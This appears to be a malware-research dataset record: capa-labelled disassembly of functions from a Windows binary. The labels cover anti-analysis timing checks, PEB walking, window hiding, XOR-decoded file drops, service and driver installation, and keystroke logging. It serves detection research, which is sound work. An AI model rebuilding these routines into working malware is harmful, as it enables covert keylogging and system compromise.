joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44b0b0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
call dword [sym.imp.WINMM.dll_timeGetTime]
mov ebp, dword [esp + 0x34]
mov ebx, dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov esi, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x18]
push eax
call ebx
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push 0
push 2
push ecx
push edx
call fcn.00472930
push 0
push 0x3e8
push edx
push eax
call fcn.00472880
mov dword [esp + 0x18], eax
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x20], edx
call esi
push 0
call edi
lea ecx, [esp + 0x20]
push ecx
call esi
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
sub ecx, eax
mov eax, dword [esp + 0x24]
sbb eax, edx
mov edx, dword [esp + 0x1c]
cmp eax, edx
jl 0x44b116
jg 0x44b145
cmp ecx, dword [esp + 0x18]
jb 0x44b116
lea edx, [esp + 0x10]
push 1
push edx
push 0x64
call fcn.00447bf0
mov ecx, eax
call fcn.00448520
test dword [esp + 0x10], ebp
je 0x44b175
call dword [sym.imp.WINMM.dll_timeGetTime]
sub eax, dword [esp + 0x14]
cmp eax, 0x7d0
jb 0x44b0df
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
Function at 0x44d2a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 4], eax
lea edi, [ecx + ecx + 2]
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x44d2d9
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_mbstowcs]
push esi
call dword [sym.imp.MSVCRT.dll__wcslwr]
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp + 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
cmp ecx, 1
mov eax, dword [eax + 0xc]
lea edx, [eax + 0xc]
mov dword [ebp + 8], edx
jne 0x44d31a
mov ebx, dword [edx]
mov dword [ebp + 8], edx
jmp 0x44d340
cmp ecx, 2
jne 0x44d32b
add eax, 0x14
mov edx, eax
mov dword [ebp + 8], eax
mov ebx, dword [edx]
jmp 0x44d340
cmp ecx, 3
jne 0x44d336
add eax, 0x1c
mov dword [ebp + 8], eax
mov edx, dword [ebp + 8]
mov ebx, dword [edx]
jmp 0x44d340
mov ecx, dword [ebp + 0xc]
mov esi, ebx
lea eax, [ecx*8]
sub esi, eax
mov ecx, 0x12
add esi, 8
lea edi, [ebp - 0x50]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x250]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
lea edx, [ebp - 0x250]
push edx
call dword [sym.imp.MSVCRT.dll__wcslwr]
mov ecx, dword [ebp - 8]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x14
test eax, eax
je 0x44d39e
mov edx, dword [ebx + 4]
mov eax, dword [ebx]
mov dword [ebp - 4], 1
mov dword [edx], eax
mov ecx, dword [ebx]
mov edx, dword [ebx + 4]
mov dword [ecx + 4], edx
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp - 0x50]
cmp eax, 1
je 0x44d3bb
cmp eax, 2
jne 0x44d3b3
mov ebx, dword [ebp - 0x48]
jmp 0x44d3bb
cmp eax, 3
jne 0x44d3bb
mov ebx, dword [ebp - 0x40]
cmp ebx, dword [ebp + 8]
jne 0x44d33d
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [ebp - 4]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x450bf0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x47a4d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ecx
lea ecx, [esp + 0x3c]
mov eax, esp
mov dword [esp + 4], esp
lea edx, [esp + 0x2c]
push ecx
push edx
push eax
mov dword [esp + 0x2c], 5
call sub.MFC42.DLL_operator_2
push ecx
lea eax, [esp + 0x2c]
mov ecx, esp
mov dword [esp + 0xc], esp
push eax
mov byte [esp + 0x28], 6
call sub.MFC42.DLL_CString::CString_3
mov byte [esp + 0x24], 5
call fcn.00451150
mov ecx, eax
call fcn.00451b60
push ecx
lea edx, [esp + 0x3c]
mov ecx, esp
mov dword [esp + 8], esp
push edx
call sub.MFC42.DLL_CString::CString_3
push ecx
lea eax, [esp + 0x3c]
mov ecx, esp
mov dword [esp + 8], esp
push eax
mov byte [esp + 0x28], 8
call sub.MFC42.DLL_CString::CString_3
push ecx
lea edx, [esp + 0x3c]
mov ecx, esp
mov dword [esp + 0x14], esp
push edx
mov byte [esp + 0x2c], 9
call sub.MFC42.DLL_CString::CString_3
push ecx
lea eax, [esp + 0x3c]
mov ecx, esp
mov dword [esp + 0x1c], esp
push eax
mov byte [esp + 0x30], 0xa
call sub.MFC42.DLL_CString::CString_3
push ecx
lea edx, [esp + 0x38]
mov ecx, esp
mov dword [esp + 0x24], esp
push edx
mov byte [esp + 0x34], 0xb
call sub.MFC42.DLL_CString::CString_3
mov byte [esp + 0x30], 5
call fcn.00450ec0
add esp, 0x14
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x1c], 2
call sub.MFC42.DLL_CString::CString
mov byte [esp + 0x1c], 1
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x34]
mov byte [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x38]
mov dword [esp + 0x1c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
add esp, 0x20
ret
Function at 0x451bd0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp + 8]
push esi
push eax
push 0x2003f
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x451c0d
xor eax, eax
pop esi
add esp, 0xc
ret 4
push 0x104
call sub.MFC42.DLL_operatornew
add esp, 4
lea ecx, [esp + 4]
mov esi, eax
mov eax, dword [esp + 0xc]
push ecx
lea edx, [esp + 0xc]
push esi
push edx
push 0
push 0x4e9150
push eax
mov dword [esp + 0x1c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
push esi
je 0x451c57
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
pop esi
add esp, 0xc
ret 4
mov ecx, dword [esp + 0x18]
call sub.MFC42.DLL_CString::operator_3
push esi
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret 4
Function at 0x453f30
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push edi
push 0x14
call sub.MFC42.DLL_operatornew
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x453f58
mov dword [eax], 0x4c4784
mov dword [eax + 4], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 8], ebx
mov edi, eax
jmp 0x453f5a
xor edi, edi
push edi
push 0x453fc0
call dword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
je 0x453faf
cmp dword [edi + 8], ebx
jle 0x453fa2
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov eax, dword [edi + 4]
lea ecx, [esp + 0x14]
push ecx
mov esi, dword [eax + ebx*4]
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [esp + 0x14], ebp
jne 0x453f96
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [edi + 8]
inc ebx
cmp ebx, eax
jl 0x453f75
pop esi
xor ebx, ebx
pop ebp
cmp edi, ebx
je 0x453faf
mov edx, dword [edi]
push 1
mov ecx, edi
call dword [edx + 4]
pop edi
pop ebx
ret 4
Function at 0x4542a0
Capabilities:
Encrypt data using blowfish

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x4c
push ebx
push ebp
mov ebp, ecx
mov ebx, dword [esp + 0x5c]
mov ecx, dword [eax]
cmp ebx, 1
mov dword [ebp], ecx
mov edx, dword [eax + 4]
mov dword [ebp + 4], edx
mov ecx, dword [eax]
mov dword [ebp + 8], ecx
mov edx, dword [eax + 4]
mov dword [ebp + 0xc], edx
jae 0x4542f0
lea eax, [esp + 0x60]
lea ecx, [esp + 0x10]
push eax
mov dword [esp + 0x64], str.Incorrect_key_length
call dword [sym.imp.MSVCRT.dll_public:_void___thiscall_exception::constructor_char_const__const_const__]
lea ecx, [esp + 0x10]
push 0x4e0218
push ecx
call sub.MSVCRT.dll__CxxThrowException
cmp ebx, 0x38
jbe 0x4542fa
mov ebx, 0x38
mov ecx, ebx
push esi
mov esi, dword [esp + 0x5c]
mov edx, ecx
push edi
lea edi, [esp + 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp + 0x10]
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x12
mov esi, 0x4c4798
mov edi, edx
mov dword [esp + 0x64], 0x12
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp + 0x58]
mov ecx, 0x400
mov esi, 0x4c47e0
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x24]
mov esi, edx
xor edx, edx
mov dword [esp + 0x68], 4
mov edi, edx
xor edx, edx
mov dl, byte [ecx]
shl edi, 8
or edx, edi
inc ecx
inc eax
cmp eax, ebx
jne 0x454365
xor eax, eax
lea ecx, [esp + 0x24]
mov edi, dword [esp + 0x68]
dec edi
mov dword [esp + 0x68], edi
jne 0x45434e
mov edi, dword [esi]
add esi, 4
xor edi, edx
mov edx, dword [esp + 0x64]
mov dword [esi - 4], edi
dec edx
mov dword [esp + 0x64], edx
jne 0x454344
xor edi, edi
lea esi, [ebp + 0x10]
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], edi
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.00454410
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [esi], ecx
add esi, 4
inc edi
mov dword [esi], edx
inc edi
add esi, 4
cmp edi, 0x12
jb 0x454392
lea eax, [ebp + 0x58]
mov dword [esp + 0x68], 4
mov ebx, eax
xor edi, edi
mov esi, ebx
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.00454410
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [esi], ecx
add esi, 4
inc edi
mov dword [esi], edx
inc edi
add esi, 4
cmp edi, 0x100
jl 0x4543c8
mov eax, dword [esp + 0x68]
add ebx, 0x400
dec eax
mov dword [esp + 0x68], eax
jne 0x4543c4
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret 0xc
Function at 0x455770
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x47aa5f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x1c]
push ebp
push esi
push edi
lea esi, [eax + 7]
mov edi, ecx
shr esi, 3
shl esi, 3
push esi
mov dword [esp + 0x10], 0
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x28]
add esp, 4
mov ebp, eax
push ecx
push esi
push ebp
push edx
mov ecx, edi
call fcn.004552f0
call sub.MFC42.DLL_AfxGetEmptyString
mov eax, dword [eax]
push ebp
lea ecx, [esp + 0x2c]
mov dword [esp + 0x2c], eax
call sub.MFC42.DLL_CString::operator_3
mov ecx, esi
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
mov dword [esp + 0x1c], 1
rep stosb byte es:[edi], al
call sub.MFC42.DLL_operatordelete
mov esi, dword [esp + 0x24]
add esp, 4
lea eax, [esp + 0x28]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::CString_3
mov dword [esp + 0xc], 1
lea ecx, [esp + 0x28]
mov byte [esp + 0x18], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x10

Function at 0x455840
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x47aa97
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
push esi
push edi
mov ebp, ecx
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x28]
mov dword [esp + 0x1c], 1
mov eax, dword [eax - 8]
lea edi, [eax + 0xa]
push edi
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x30]
add esp, 4
mov esi, eax
lea edx, [esp + 0x28]
push ecx
push edi
push esi
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push edx
call sub.MFC42.DLL_CString::CString_3
mov ecx, ebp
call fcn.004556b0
call sub.MFC42.DLL_AfxGetEmptyString
mov eax, dword [eax]
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], eax
call sub.MFC42.DLL_CString::operator_3
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push esi
and ecx, 3
mov byte [esp + 0x20], 2
rep stosb byte es:[edi], al
call sub.MFC42.DLL_operatordelete
mov esi, dword [esp + 0x28]
add esp, 4
lea eax, [esp + 0xc]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::CString_3
mov dword [esp + 0x10], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebp
add esp, 0x14
ret 0xc

Function at 0x455d70
Capabilities:
Encode data using xor

Disassembly:
push edi
push 0x4e68f8
push 0x4eb560
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x455dc5
mov eax, dword [0x4e9338]
push esi
xor esi, esi
test eax, eax
jbe 0x455dba
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fputc]
xor eax, eax
push edi
mov al, byte [esi + 0x4c68f0]
xor eax, 0x7d
push eax
call ebx
mov eax, dword [0x4e9338]
add esp, 8
inc esi
cmp esi, eax
jb 0x455d9d
pop ebx
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop esi
pop edi
ret
Function at 0x455f00
Capabilities:
Delete registry key
Set registry value

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
call fcn.00455de0
test al, al
mov byte [0x4eb55c], al
je 0x45610f
mov eax, dword [esp + 0x30]
and eax, 0x2000
push eax
call fcn.00455e10
call fcn.00455d70
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov edi, str.._tc
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x18], al
mov edx, ecx
mov esi, edi
mov edi, 0x4eb668
mov dword [esp + 0x19], eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov ecx, edx
mov dword [esp + 0x25], eax
and ecx, 3
mov word [esp + 0x29], ax
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x2b], al
call ebx
cdq
mov ecx, 3
mov esi, 0
idiv ecx
mov edi, edx
add edi, ecx
je 0x455fb2
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add dl, 0x61
mov byte [esp + esi + 0x18], dl
inc esi
cmp esi, edi
jb 0x455f9c
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x4eb668
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x30]
and ecx, 3
push eax
push str.SOFTWAREMicrosoft
push reloc.OLEAUT32.dll_SysReAllocString
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x456041
mov edx, dword [esp + 0x30]
lea ecx, [esp + 0x10]
push ecx
push str.rename
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x14]
push eax
push 1
push 0
push str.winio
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
push edx
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x4eb668
call esi
cmp eax, 0xffffffff
mov dword [0x4e933c], eax
jne 0x4560c6
xor edi, edi
push 1
push 0x4eb560
call fcn.00456250
mov bl, al
test bl, bl
je 0x4560b2
call fcn.00456390
mov bl, al
test bl, bl
je 0x4560b2
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x4eb668
call esi
test eax, eax
mov dword [0x4e933c], eax
je 0x4560b7
cmp eax, 0xffffffff
jne 0x4560bd
jmp 0x4560b7
mov eax, dword [0x4e933c]
inc edi
cmp edi, 4
jl 0x45606c
test bl, bl
je 0x45610f
cmp eax, 0xffffffff
je 0x45610f
lea ecx, [esp + 0x14]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x8001200c
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x45610f
mov edx, dword [esp + 0x30]
push str.rename
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [esp + 0x30]
push eax
call ebp
pop edi
pop esi
pop ebp
mov byte [0x4eb664], 1
mov al, 1
pop ebx
add esp, 0x1c
ret 4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1c
ret 4
Function at 0x456250
Capabilities:
Create service

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
push 0x5c
push ebx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
je 0x456284
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x4eb76c
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
jmp 0x4562a0
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
mov esi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x4eb76c
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x2e
rep movsb byte es:[edi], byte [esi]
push 0x4eb76c
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x4562bc
mov byte [eax], 0
call fcn.00456330
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x456328
mov al, byte [esp + 0x14]
push 0
dec al
push 0
neg al
sbb eax, eax
push 0
push 0
and al, 0xfe
push 0
push ebx
add eax, 3
push 1
push eax
push 1
push 0xf01ff
push 0x4eb76c
push 0x4eb76c
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
call esi
test edi, edi
je 0x456328
push edi
call esi
call fcn.00456390
pop edi
pop esi
pop ebx
ret 8
pop edi
pop esi
xor al, al
pop ebx
ret 8

Function at 0x456400
Capabilities:
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x45645a
push 0xf01ff
push 0x4eb76c
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
call edi
test esi, esi
je 0x45645a
lea eax, [esp + 8]
push ebx
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
setne bl
call edi
mov al, bl
pop ebx
pop edi
pop esi
add esp, 0x1c
ret
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
Function at 0x456480
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d5d70
push 0x41fd34
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
push str.qsefyjil
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x4ebc74], eax
cmp eax, esi
je 0x4565bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4565bd
push 0x4e68f8
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov edi, eax
mov dword [ebp - 0x34], edi
cmp edi, esi
je 0x456527
mov dword [ebp - 0x38], esi
mov ebx, dword [sym.imp.MSVCRT.dll_fputc]
cmp esi, dword [0x4e9378]
push edi
jae 0x45651c
xor ecx, ecx
mov cl, byte [esi + 0x4d0910]
xor ecx, 0x7d
push ecx
call ebx
add esp, 8
inc esi
mov dword [ebp - 0x38], esi
jmp 0x4564fc
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor esi, esi
cmp dword [ebp + 0x14], esi
je 0x456543
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.004569f0
add esp, 8
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x4565bd
push esi
push 0x80
push 3
push esi
push esi
push 0xc0000000
push str..hkSymbolicLink
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x4ebc6c], eax
cmp eax, 0xffffffff
je 0x4565bd
mov dword [ebp - 0x24], esi
push esi
push esi
push esi
push 0x456470
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x24], eax
cmp eax, esi
je 0x4565bd
mov dword [0x4ebc70], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
push esi
lea edx, [ebp - 0x2c]
push edx
push 4
lea eax, [ebp - 0x30]
push eax
push 8
lea ecx, [ebp - 0x28]
push ecx
push 0x8000201c
mov edx, dword [0x4ebc6c]
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x4565bd
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.004565e0
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4565e0
Capabilities:
Delete file
Terminate thread

Disassembly:
mov edi, dword [ebp - 0x1c]
cmp edi, esi
jne 0x456623
mov eax, dword [0x4ebc74]
cmp eax, esi
je 0x4565fd
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x4ebc74], esi
mov eax, dword [0x4ebc6c]
cmp eax, 0xffffffff
je 0x456614
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x4ebc6c], esi
mov eax, dword [ebp - 0x24]
cmp eax, esi
je 0x456623
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret

Function at 0x4567e0
Capabilities:
Log keystrokes

Disassembly:
mov eax, dword [0x4ebc74]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x456805
push 1
push eax
call fcn.00456830
add esp, 4
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
ret
xor eax, eax
ret
Function at 0x456810
Capabilities:
Log keystrokes

Disassembly:
push 1
push 1
call fcn.00456830
add esp, 4
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
ret

Function at 0x4568a0
Capabilities:
Create service

Disassembly:
mov eax, dword [esp + 0xc]
push 0
push 0
push 0
mov ecx, dword [esp + 0x10]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push 1
push 3
push 1
push 0xf01ff
push eax
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x4568f9
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x431
je 0x4568f5
call esi
push eax
push str.failure:_CreateService__error_code:_u_n
push 0x4ebc78
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
xor eax, eax
pop esi
ret
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
ret

Function at 0x4569a0
Capabilities:
Stop service

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 0x1c
push esi
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4569c4
pop esi
add esp, 0x1c
ret
lea edx, [esp + 4]
push edi
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x4582d0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
xor ebp, ebp
push esi
cmp ebx, 1
push edi
jl 0x4582eb
cmp ebx, 8
jg 0x4582eb
mov eax, 1
jmp 0x4582ed
xor eax, eax
mov esi, dword [esp + 0x14]
push str.bad_pack_level
push eax
push esi
call fcn.00456b50
mov eax, dword [esi + 0x6af70]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af78], ebp
jne 0x458324
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
mov ecx, 0x7fff
xor eax, eax
lea edi, [esi + 0x4af70]
mov dword [esi + 0x6af6c], ebp
rep stosd dword es:[edi], eax
mov ax, word [ebx*8 + 0x4d5ed2]
xor ecx, ecx
mov dword [esi + 0x6af98], eax
mov cx, word [ebx*8 + 0x4d5ed0]
xor edx, edx
mov dword [esi + 0x6af9c], ecx
mov dx, word [ebx*8 + 0x4d5ed4]
xor eax, eax
mov dword [esi + 0x6afa0], edx
mov ax, word [ebx*8 + 0x4d5ed6]
cmp ebx, 2
mov dword [esi + 0x6af94], eax
jg 0x458385
mov eax, dword [esp + 0x1c]
or byte [eax], 4
jmp 0x458391
cmp ebx, 8
jl 0x458391
mov eax, dword [esp + 0x1c]
or byte [eax], 2
lea edi, [esi + 0x1af70]
push 0x10000
push edi
push esi
mov dword [esi + 0x6af84], ebp
mov dword [esi + 0x6af74], ebp
call dword [esi + 0xc]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af90], eax
je 0x45840a
cmp eax, 0xffffffff
je 0x45840a
cmp eax, 0x106
mov dword [esi + 0x6af8c], ebp
jae 0x4583d5
push esi
call fcn.00458620
add esp, 4
mov dword [esi + 0x6af7c], ebp
xor eax, eax
mov edx, dword [esi + 0x6af7c]
xor ecx, ecx
mov cl, byte [edi + eax]
and edx, 0x3ff
and ecx, 0x7fff
shl edx, 5
xor ecx, edx
inc eax
cmp eax, 2
mov dword [esi + 0x6af7c], ecx
jb 0x4583dd
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], ebp
pop edi
pop esi
pop ebp
pop ebx
ret